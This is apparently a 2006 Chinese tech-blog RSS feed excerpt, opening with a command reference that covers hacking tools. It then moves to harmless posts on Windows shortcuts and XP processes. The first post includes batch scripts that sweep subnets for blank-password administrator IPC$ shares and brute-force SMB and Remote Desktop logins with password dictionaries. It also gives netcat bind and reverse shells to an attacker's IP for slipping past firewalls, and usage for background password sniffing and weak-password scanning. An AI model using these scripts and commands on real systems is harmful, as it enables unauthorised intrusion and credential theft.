显示版本信息（同win2K的 ver） <br />dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir） <br />pwd 查询当前所在的目录位置 <br />cd cd　..回到上一层目录，注意cd 与..之间有空格。cd　/返回到根目录。 <br />cat 文件名 查看文件内容 <br />cat &gt;abc.txt 往abc.txt文件中写上内容。 <br />more 文件名 以一页一页的方式显示一个文本文件。 <br />cp 复制文件 <br />mv 移动文件 <br />rm 文件名 删除文件，rm -a 目录名删除目录及子目录 <br />mkdir 目录名 建立目录 <br />rmdir 删除子目录，目录内没有文档。 <br />chmod 设定档案或目录的存取权限 <br />grep 在档案中查找字符串 <br />diff 档案文件比较 <br />find 档案搜寻 <br />date 现在的日期、时间 <br />who 查询目前和你使用同一台机器的人以及Login时间地点 <br />w 查询目前上机者的详细资料 <br />whoami 查看自己的帐号名称 <br />groups 查看某人的Group <br />passwd 更改密码 <br />history 查看自己下过的命令 <br />ps 显示进程状态 <br />kill 停止某进程 <br />gcc 黑客通常用它来编译C语言写的文件 <br />su 权限转换为指定使用者 <br />telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。 <br />ftp ftp连接上某服务器（同win2K） <br /><br />附：批处理命令与变量<br /><br />1：for命令及变量 基本格式： <br />FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。<br />批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3<br /><br />(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1 }<br /><br />command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：&amp; 来隔开<br />command_parameters：为特定命令指定参数或命令行开关<br /><br />IN (set)：指在(set)中取值；DO command ：指执行command<br /><br />参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{ (set)为文件时，如(d:\pass.txt)时 }。 <br />用法举例： <br />@echo off <br />echo 用法格式：test.bat *.*.* &gt; test.txt <br /><br />for /L %%G in (1 1 254) do echo %1.%%G &gt;&gt;test.txt &amp; net use \\%1.%%G /user:administrator | find "命令成功完成" &gt;&gt;test.txt <br />存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。<br /><br />/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；&amp; 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。 <br />@echo off <br />echo 用法格式：ok.bat ip <br />FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 <br />存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。<br /><br />#7 七：<br /><br />2：if命令及变量 基本格式： <br />IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为“真”。<br />例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。<br />0 指发现并成功执行（真）；1 指没有发现、没执行（假）。 <br />IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就执行后面的命令。<br />例：“if "%2%"=="4" goto start”指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加" "） <br />IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。<br />例：“if not nc.exe goto end”指：如果没有发现nc.exe文件就跳到":end"标签处。 <br />IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用&lt; &gt;括起来，因为del命令要单独一行时才能执行，用上&lt; &gt;后就等于是单独一行了；例如：“if exist test.txt. &lt;del test.txt.&gt; else echo test.txt.missing ”，注意命令中的“.” <br /><br />（二）系统外部命令(均需下载相关工具)：<br /><br />1、瑞士军刀：nc.exe<br /><br />参数说明： <br />-h 查看帮助信息 <br />-d 后台模式 <br />-e prog程序重定向，一但连接就执行［危险］ <br />-i secs延时的间隔 <br />-l 监听模式，用于入站连接 <br />-L 监听模式，连接天闭后仍然继续监听，直到CTR+C <br />-n IP地址，不能用域名 <br />-o film记录16进制的传输 <br />-p[空格]端口 本地端口号 <br />-r 随机本地及远程端口 <br />-t 使用Telnet交互方式 <br />-u UDP模式 <br />-v 详细输出，用-vv将更详细 <br />-w数字 timeout延时间隔 <br />-z 将输入，输出关掉（用于扫锚时） <br />基本用法： <br />nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 <br />nc -l -p 80 开启本机的TCP 80端口并监听 <br />nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 <br />nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 <br />nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口 <br />高级用法： <br />nc -L -p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止 <br />nc -L -p 80 &gt; c:\log.txt 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:\log.txt <br />nc -L -p 80 &lt; c:\honeyport.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中，亦可起到传送文件作用 <br />type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 <br />本机上用：nc -l -p 本机端口 <br />在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K<br />nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 <br />本机上用：nc -d -l -p 本机端口 &lt; 要传送的文件路径及名称 <br />在对方主机上用：nc -vv 本机IP 本机端口 &gt; 存放文件的路径及名称 传送文件到对方主机 <br />备 注： <br />| 管道命令 <br />&lt; 或 &gt; 重定向命令。“&lt;”，例如：tlntadmn &lt; test.txt 指把test.txt的内容赋值给tlntadmn命令 <br />＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:\winnt &gt;&gt; d:\log.txt 意思是：后台执行dir，并把结果存在d:\log.txt中 <br />&gt;与&gt;&gt;的区别 　"&gt;"指：覆盖；"&gt;&gt;"指：保存到(添加到）。<br />如：@dir c:\winnt &gt;&gt; d:\log.txt和@dir c:\winnt &gt; d:\log.txt二个命令分别执行二次比较看：用&gt;&gt;的则是把二次的结果都保存了，而用：&gt;则只有一次的结果，是因为第二次的结果把第一次的覆盖了。<br /><br />#8 八：<br /><br />2、扫锚工具：xscan.exe<br /><br />基本格式 <br />xscan -host &lt;起始IP&gt;[-&lt;终止IP&gt;] &lt;检测项目&gt; [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息 <br />xscan -file &lt;主机列表文件名&gt; &lt;检测项目&gt; [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息 <br />检测项目 <br />-active 检测主机是否存活 <br />-os 检测远程操作系统类型（通过NETBIOS和SNMP协议） <br />-port 检测常用服务的端口状态 <br />-ftp 检测FTP弱口令 <br />-pub 检测FTP服务匿名用户写权限 <br />-pop3 检测POP3-Server弱口令 <br />-smtp 检测SMTP-Server漏洞 <br />-sql 检测SQL-Server弱口令 <br />-smb 检测NT-Server弱口令 <br />-iis 检测IIS编码/解码漏洞 <br />-cgi 检测CGI漏洞 <br />-nasl 加载Nessus攻击脚本 <br />-all 检测以上所有项目 <br />其它选项 <br />-i 适配器编号 设置网络适配器, &lt;适配器编号&gt;可通过"-l"参数获取 <br />-l 显示所有网络适配器 <br />-v 显示详细扫描进度 <br />-p 跳过没有响应的主机 <br />-o 跳过没有检测到开放端口的主机 <br />　 -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10 <br />-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件) <br />用法示例 <br />xscan -host 192.168.1.1-192.168.255.255 -all -active -p　 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机 <br />xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放端口的主机 <br />xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态，CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开放端口的主机<br /><br />#9 九：<br /><br />3、命令行方式嗅探器: xsniff.exe<br />可捕获局域网内FTP/SMTP/POP3/HTTP协议密码<br />参数说明 <br />-tcp 输出TCP数据报 <br />-udp 输出UDP数据报 <br />-icmp 输出ICMP数据报 <br />-pass 过滤密码信息 <br />-hide 后台运行 <br />-host 解析主机名 <br />-addr IP地址 过滤IP地址 <br />-port 端口 过滤端口 <br />-log 文件名 将输出保存到文件 <br />-asc 以ASCII形式输出 <br />-hex 以16进制形式输出 <br />用法示例 <br />xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中 <br />xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出 <br /><br />4、终端服务密码破解: tscrack.exe<br /><br />参数说明 <br />-h 显示使用帮助 <br />-v 显示版本信息 <br />-s 在屏幕上打出解密能力 <br />-b 密码错误时发出的声音 <br />-t 同是发出多个连接（多线程） <br />-N Prevent System Log entries on targeted server <br />-U 卸载移除tscrack组件 <br />-f 使用－f后面的密码 <br />-F 间隔时间（频率） <br />-l 使用－l后面的用户名 <br />-w 使用－w后面的密码字典 <br />-p 使用－p后面的密码 <br />-D 登录主页面 <br />用法示例 <br />tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码 <br />tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户 <br />@if not exist ipcscan.txt goto noscan <br />@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i <br />nscan <br />@echo 3389.txt no find or scan faild <br />(①存为3389.bat) （假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt) <br />3389.bat意思是：从3389.txt文件中取一个IP，接着运行hack.bat <br />@if not exist tscrack.exe goto noscan <br />@tscrack %1 -l administrator -w pass.dic &gt;&gt;rouji.txt <br />:noscan <br />@echo tscrack.exe no find or scan faild <br />(②存为hack.bat) (运行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下；就可以等待结果了) <br />hack.bat意思是：运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码，并将破解结果保存在rouji.txt文件中。 <br /><br />5、其它：<br /><br />Shutdown.exe <br />Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭（Windows 2003系统自带工具，在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。） <br />fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明（端口重定向绕过防火墙） <br />fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时，他扫到的结果会完全是www.sina.com.cn的主机信息 <br />Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后，就通过88端口发送到目标IP的23端口。（与目标IP建立Telnet时本机就用的88端口与其相连接）然后：直接Telnet 127.0.0.1（本机IP）就连接到目标IP的23端口了。 <br />OpenTelnet.exe (远程开启telnet工具) <br />opentelnet.exe \\IP 帐号　密码　ntlm认证方式　Telnet端口 （不需要上传ntlm.exe破坏微软的身份验证方式）直接远程开启对方的telnet服务后，就可用telnet \\ip 连接上对方。<br />NTLM认证方式：０：不使用NTLM身份验证；１：先尝试NTLM身份验证，如果失败，再使用用户名和密码；２：只使用NTLM身份验证。<br /><br />ResumeTelnet.exe (OpenTelnet附带的另一个工具) <br />resumetelnet.exe \\IP　帐号　密码 用Telnet连接完对方后，就用这个命令将对方的Telnet设置还原，并同时关闭Telnet服务。<br /><br />#10 十：<br /><br />6、FTP命令详解：<br /><br />FTP命令是Internet用户使用最频繁的命令之一，熟悉并灵活应用FTP的内部命令，可以大大方便使用者，并收到事半功倍之效。如果你想学习使用进行后台FTP下载，那么就必须学习FTP指令。<br /><br />FTP的命令行格式为： <br />ftp -v -d -i -n -g [主机名] ，其中<br /><br />-v 显示远程服务器的所有响应信息；<br /><br />-n 限制ftp的自动登录，即不使用；.n etrc文件；<br /><br />-d 使用调试方式；<br /><br />-g 取消全局文件名。<br /><br />FTP使用的内部命令如下(中括号表示可选项):<br /><br />1.![cmd[args]]：在本地机中执行交互shell，exit回到ftp环境，如：!ls*.zip <br />2.$ macro-ame[args]： 执行宏定义macro-name。<br /><br />3.account[password]： 提供登录远程系统成功后访问系统资源所需的补充口令。 <br />4.append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，则使用本地文件名。<br /><br />5.ascii：使用ascii类型传输方式。<br />6.bell：每个命令执行完毕后计算机响铃一次。<br /><br />7.bin：使用二进制文件传输方式。<br />8.bye：退出ftp会话过程。<br /><br />9.case：在使用mget时，将远程主机文件名中的大写转为小写字母。 <br />10.cd remote-dir：进入远程主机目录。<br /><br />11.cdup：进入远程主机目录的父目录。 <br />12.chmod mode file-name：将远程主机文件file-name的存取方式设置为mode，如：chmod 777 a.out。<br /><br />13.close：中断与远程服务器的ftp会话(与open对应)。 <br />14.cr：使用asscii方式传输文件时，将回车换行转换为回行。<br /><br />15.delete remote-file：删除远程主机文件。 <br />16.debug[debug-value]：设置调试方式， 显示发送至远程主机的每条命令，如：deb up 3，若设为0，表示取消debug。<br /><br />17.dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件。 <br />18.disconnection：同close。<br /><br />19.form format：将文件传输方式设置为format，缺省为file方式。 <br />20.get remote-file[local-file]： 将远程主机的文件remote-file传至本地硬盘的local-file。<br /><br />21.glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。 <br />22.hash：每传输1024字节，显示一个hash符号(#)。<br /><br />23.help[cmd]：显示ftp内部命令cmd的帮助信息，如：help get。 <br />24.idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。<br /><br />25.image：设置二进制传输方式(同binary)。 <br />26.lcd[dir]：将本地工作目录切换至dir。<br /><br />27.ls[remote-dir][local-file]：显示远程目录remote-dir， 并存入本地文件local-file。 <br />28.macdef macro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。<br /><br />29.mdelete[remote-file]：删除远程主机文件。 <br />30.mdir remote-files local-file：与dir类似，但可指定多个远程文件，如 ：mdir *.o.*.zipoutfile 。<br /><br />31.mget remote-files：传输多个远程文件。 <br />32.mkdir dir-name：在远程主机中建一目录。<br /><br />33.mls remote-file local-file：同nlist，但可指定多个文件名。 <br />34.mode[modename]：将文件传输方式设置为modename， 缺省为stream方式。<br /><br />35.modtime file-name：显示远程主机文件的最后修改时间。 <br />36.mput local-file：将多个文件传输至远程主机。<br /><br />37.newer file-name： 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近，则重传该文件。<br />38.nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的local-file。<br /><br />39.nmap[inpattern outpattern]：设置文件名映射机制， 使得文件传输时，文件中的某些字符相互转换， 如：nmap $1.$2.$3[$1，$2].[$2，$3]，则传输文件a1.a2.a3时，文件名变为a1，a2。 该命令特别适用于远程主机为非UNIX机的情况。<br />40.ntrans[inｃhars[outchars]]：设置文件名字符的翻译机制，如ntrans1R，则文件名LLL将变为RRR。<br /><br />41.open host[port]：建立指定ftp服务器连接，可指定连接端口。 <br />42.passive：进入被动传输方式。<br /><br />43.prompt：设置多个文件传输时的交互提示。 <br />44.proxy ftp-cmd：在次要控制连接中，执行一条ftp命令， 该命令允许连接两个ftp服务器，以在两个服务器间传输文件。第一条ftp命令必须为open，以首先建立两个服务器间的连接。<br />45.put local-file[remote-file]：将本地文件local-file传送至远程主机。 <br />46.pwd：显示远程主机的当前工作目录。<br /><br />47.quit：同bye，退出ftp会话。 <br />48.quote arg1，arg2...：将参数逐字发至远程ftp服务器，如：quote syst.<br /><br />49.recv remote-file[local-file]：同get。 <br />50.reget remote-file[local-file]：类似于get， 但若local-file存在，则从上次传输中断处续传。<br /><br />51.rhelp[cmd-name]：请求获得远程主机的帮助。 <br />52.rstatus[file-name]：若未指定文件名，则显示远程主机的状态， 否则显示文件状态。<br /><br />53.rename[from][to]：更改远程主机文件名。 <br />54.reset：清除回答队列。<br /><br />55.restart marker：从指定的标志marker处，重新开始get或put，如：restart 130。 <br />56.rmdir dir-name：删除远程主机目录。<br /><br />57.runique：设置文件名只一性存储，若文件存在，则在原文件后加后缀.1， .2等。 <br />58.send local-file[remote-file]：同put。<br /><br />59.sendport：设置PORT命令的使用。 <br />60.site arg1，arg2...：将参数作为SITE命令逐字发送至远程ftp主机。<br /><br />61.size file-name：显示远程主机文件大小，如：site idle 7200。 <br />62.status：显示当前ftp状态。<br /><br />63.struct[struct-name]：将文件传输结构设置为struct-name， 缺省时使用stream结构。 <br />64.sunique：将远程主机文件名存储设置为只一(与runique对应)。<br /><br />65.system：显示远程主机的操作系统类型。 <br />66.tenex：将文件传输类型设置为TENEX机的所需的类型。<br /><br />67.tick：设置传输时的字节计数器。 <br />68.trace：设置包跟踪。<br /><br />69.type[type-name]：设置文件传输类型为type-name，缺省为ascii，如:type binary，设置二进制传输方式。 <br />70.umask[newmask]：将远程服务器的缺省umask设置为newmask，如：umask 3<br /><br />71.user user-name[password][account]：向远程主机表明自己的身份，需要口令时，必须输入口令，如：user anonymous my@email。 <br />72.verbose：同命令行的-v参数，即设置详尽报告方式，ftp 服务器的所有响 应都将显示给用户，缺省为on.<br /><br />73.?[cmd]：同help.<br /><br />#11 十一：<br /><br />7：计算机运行命令全集 winver---------检查Windows版本<br />wmimgmt.msc----打开windows管理体系结构<br />wupdmgr--------windows更新程序<br />winver---------检查Windows版本<br />wmimgmt.msc----打开windows管理体系结构<br />wupdmgr--------windows更新程序<br />wscript--------windows脚本宿主设置<br />write----------写字板winmsd-----系统信息<br />wiaacmgr-------扫描仪和照相机向导<br />winchat--------XP自带局域网聊天<br />mem.exe--------显示内存使用情况<br />Msconfig.exe---系统配置实用程序 <br />mplayer2-------简易widnows media player<br />mspaint--------画图板<br />mstsc----------远程桌面连接<br />mplayer2-------媒体播放机<br />magnify--------放大镜实用程序<br />mmc------------打开控制台<br />mobsync--------同步命令<br />dxdiag---------检查DirectX信息<br />drwtsn32------ 系统医生<br />devmgmt.msc--- 设备管理器<br />dfrg.msc-------磁盘碎片整理程序<br />diskmgmt.msc---磁盘管理实用程序<br />dcomcnfg-------打开系统组件服务<br />ddeshare-------打开DDE共享设置<br />dvdplay--------DVD播放器<br />net stop messenger-----停止信使服务<br />net start messenger----开始信使服务 <br />notepad--------打开记事本<br />nslookup-------网络管理的工具向导<br />ntbackup-------系统备份和还原<br />narrator-------屏幕"讲述人"<br />ntmsmgr.msc----移动存储管理器<br />ntmsoprq.msc---移动存储管理员操作请求<br />netstat -an----(TC)命令检查接口<br />syncapp--------创建一个公文包<br />sysedit--------系统配置编辑器<br />sigverif-------文件签名验证程序<br />sndrec32-------录音机<br />shrpubw--------创建共享文件夹<br />secpol.msc-----本地安全策略<br />syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码<br />services.msc---本地服务设置<br />Sndvol32-------音量控制程序<br />sfc.exe--------系统文件检查器<br />sfc /scannow---windows文件保护<br />tsshutdn-------60秒倒计时关机命令<br />tourstart------xp简介（安装完成后出现的漫游xp程序）<br />taskmgr--------任务管理器<br />eventvwr-------事件查看器<br />eudcedit-------造字程序 <br />explorer-------打开资源管理器<br />packager-------对象包装程序<br />perfmon.msc----计算机性能监测程序<br />progman--------程序管理器<br />regedit.exe----注册表 <br />rsop.msc-------组策略结果集<br />regedt32-------注册表编辑器<br />rononce -p ----15秒关机<br />regsvr32 /u *.dll----停止dll文件运行<br />regsvr32 /u zipfldr.dll------取消ZIP支持<br />cmd.exe--------CMD命令提示符<br />chkdsk.exe-----Chkdsk磁盘检查<br />certmgr.msc----证书管理实用程序<br />calc-----------启动计算器<br />charmap--------启动字符映射表<br />cliconfg-------SQL SERVER 客户端网络实用程序<br />Clipbrd--------剪贴板查看器<br />conf-----------启动netmeeting<br />compmgmt.msc---计算机管理<br />cleanmgr-------**整理<br />ciadv.msc------索引服务程序<br />osk------------打开屏幕键盘<br />odbcad32-------ODBC数据源管理器<br />oobe/msoobe /a----检查XP是否激活<br />lusrmgr.msc----本机用户和组<br />logoff---------注销命令<br />iexpress-------木马捆绑工具，系统自带<br />Nslookup-------IP地址侦测器<br />fsmgmt.msc-----共享文件夹管理器<br />utilman--------辅助工具管理器<br />gpedit.msc-----组策略 </p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/20711.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2006-12-18 09:16 <a href="http://www.cnitblog.com/szdlinxie/archive/2006/12/18/20711.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Windows快捷键大全</title><link>http://www.cnitblog.com/szdlinxie/archive/2006/12/16/20609.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Sat, 16 Dec 2006 03:48:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2006/12/16/20609.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/20609.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2006/12/16/20609.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/20609.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/20609.html</trackback:ping><description><![CDATA[
		<div class="postbody">Windows快捷键大全<br />一、常用快捷键<br /><br />F1　显示当前程序或者Windows的帮助内容。<br /><br />F2　当你选中一个文件的话，这意味着“重命名”<br /><br />F3　当你在桌面上的时候是打开“查找：所有文件” 对话框<br /><br />F10或ALT激活当前程序的菜单栏<br /><br />windows键或CTRL+ESC 打开开始菜单<br /><br />CTRL+ALT+DELETE 在win9x中打开关闭程序对话框<br /><br />DELETE　删除被选择的选择项目，如果是文件，将被放入回收站<br /><br />SHIFT+DELETE删除被选择的选择项目，如果是文件，将被直接删除而不是放入回收站<br /><br />CTRL+Z 撤消<br /><br />CTRL+C 复制<br /><br />CTRL+V 粘贴<br /><br />CTRL+ESC 显示“开始”菜单<br /><br />CTRL+N　新建一个新的文件<br /><br />CTRL+O　打开“打开文件”对话框<br /><br />CTRL+P　打开“打印”对话框<br /><br />CTRL+S　保存当前操作的文件<br /><br />CTRL+X　剪切被选择的项目到剪贴板<br /><br />CTRL+INSERT 或 CTRL+C复制被选择的项目到剪贴板<br /><br />SHIFT+INSERT 或 CTRL+V　粘贴剪贴板中的内容到当前位置<br /><br />ALT+菜单上带下划线的字母执行菜单上相应的命令<br /><br />ALT+F4 关闭当前窗口或退出程序<br /><br />ALT+空格键 显示当前窗口的系统菜单<br /><br />ALT+TAB 切换到另一个窗口<br /><br />ALT+BACKSPACE 或 CTRL+Z 撤销上一步的操作<br /><br />ALT+SHIFT+BACKSPACE 重做上一步被撤销的操作<br /><br />Windows键+M 最小化所有被打开的窗口。<br /><br />Windows键+CTRL+M重新将恢复上一项操作前窗口的大小和位置<br /><br />Windows键+E 打开资源管理器<br /><br />Windows键+F 打开“查找：所有文件”对话框<br /><br />Windows键+R 打开“运行”对话框<br /><br />Windows键+BREAK 打开“系统属性”对话框<br /><br />Windows键+CTRL+F打开“查找：计算机”对话框<br /><br />SHIFT+F10或鼠标右击 打开当前活动项目的快捷菜单<br /><br />SHIFT在放入CD的时候按下不放，可以跳过自动播放CD。在打开Word的时候按下不放，可以跳过自启动的宏<br /><br />ALT+F4　关闭当前应用程序<br /><br />ALT+SPACEBAR打开程序最左上角的菜单<br /><br />ALT+TAB 切换当前程序<br /><br />ALT+ESC 切换当前程序<br /><br />ALT+ENTER将windows下运行的MSDOS窗口在窗口和全屏幕状态间切换<br /><br />PRINT SCREEN将当前屏幕以图象方式拷贝到剪贴板<br /><br />ALT+PRINT SCREEN将当前活动程序窗口以图象方式拷贝到剪贴板<br /><br />CTRL+F4 关闭当前应用程序中的当前文本（如word中）<br /><br />CTRL+F6 切换到当前应用程序中的下一个文本（加shift 可以跳到前一个窗口）<br /><br /><br /><br />二、Windows快捷键<br /><br />目的快捷键<br /><br />WINDOWS+TAB 在任务栏上的按钮间循环<br /><br />WINDOWS+F 显示“查找：所有文件”<br /><br />CTRL+WINDOWS+F 显示“查找：计算机”<br /><br />WINDOWS+F1 显示“帮助”<br /><br />WINDOWS+R 显示“运行”命令 WINDOWS+ R<br /><br />WINDOWS 显示“开始”WINDOWS+BREAK　显示“系统属性”对话框<br /><br />WINDOWS+E 显示“Windows资源管理器”<br /><br />WINDOWS+D 最小化或还原所有窗口<br /><br />SHIFT+WINDOWS+M 撤消最小化所有窗口<br /><br />三、使用“桌面”、“我的电脑”和“Windows资源管理器”快捷键<br /><br />选择项目时，可以使用以下快捷键。<br /><br />按住 SHIFT插入CD-ROM 插入光盘时不用“自动播放”<br /><br />创建快捷方式按住CTRL+SHIFT拖动文件 复制文件按住 CTRL拖动文件<br /><br />SHIFT+DELETE 立即删除某项目而不将其放入“回收站”<br /><br />APPLICATION键 显示项目的快捷菜单<br /><br />F5 显示“查找：所有文件”<br /><br />F2 重命名项目<br /><br />CTRL+A 选择所有项目<br /><br />ALT+ENTER或ALT+双击 查看项目的属性<br /><br />四、Microsoft放大程序的快捷键<br /><br />Windows徽标+PRINT SCREEN 将屏幕复制到剪贴板（包括鼠标光标）<br /><br />Windows徽标+SCROLL LOCK 将屏幕复制到剪贴板（不包括鼠标光标）<br /><br />Windows徽标+PAGE UP 切换反色<br /><br />Windows徽标+PAGE DOWN 切换跟随鼠标光标<br /><br />Windows徽标+向上箭头 增加放大率<br /><br />Windows徽标+向下箭头 减小放大率<br /><br />五、辅助选项快捷键<br /><br />右SHIFT八秒 切换筛选键开关<br /><br />左ALT+左SHIFT+PRINT SCREEN 切换高对比度开关<br /><br />左ALT+左SHIFT+NUM LOCK 切换鼠标键开关<br /><br />SHIFT键五次 切换粘滞键开关<br /><br />NUM LOCK五秒 切换切换键开关<br /></div>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/20609.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2006-12-16 11:48 <a href="http://www.cnitblog.com/szdlinxie/archive/2006/12/16/20609.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Windows XP进程详解</title><link>http://www.cnitblog.com/szdlinxie/archive/2006/12/16/20608.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Sat, 16 Dec 2006 03:47:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2006/12/16/20608.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/20608.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2006/12/16/20608.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/20608.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/20608.html</trackback:ping><description><![CDATA[Windows XP进程详解<br /><br />首先简单的了解一下什么是进程,进程是程序在一个数据集合上运行的过程(注:一个程序有可能同时属于多个进程),它是操作系统进行资源分配和调度的一个独立单位,进程可以简单的分为系统进程(包括一般Windows程序和服务进程)和用户进程。简单的说,凡是用于完成操作系统的各种功能的进程就是系统进程，它们就是处于运行状态下的操作系统本身；而用户进程就是由用户启动的进程。在Windows下，进程又被细化为线程，也就是一个进程下有多个能独立运行的更小的单位。和程序所不同的是,程序是静止的,而进程是动态的,在Windows这样的多任务操作系统中,为了准确描述多道程序在并发执行时多道程序的资源分配的动态性,程序执行的间断性,相互通信的可能性以及同步互斥的必要性等等动态特性,所以引入进程的形式参与系统的并发执行。<br /><br />现在来具体看看Windows进程都有哪些,它们的具体作用是什么<br /><br />一:系统进程[system process] <br /><br />1:系统必要进程<br /><br />system process <br />进程文件: [system process] or [system process]<br />进程名称: Windows内存处理系统进程<br />描述: Windows页面内存管理进程，拥有0级优先。<br /><br />alg.exe <br />进程文件：alg or alg.exe <br />进程名称：应用层网关服务 <br />描述：这是一个应用层网关服务用于网络共享<br /><br />csrss.exe <br />进程文件：csrss or csrss.exe <br />进程名称：Client/Server Runtime 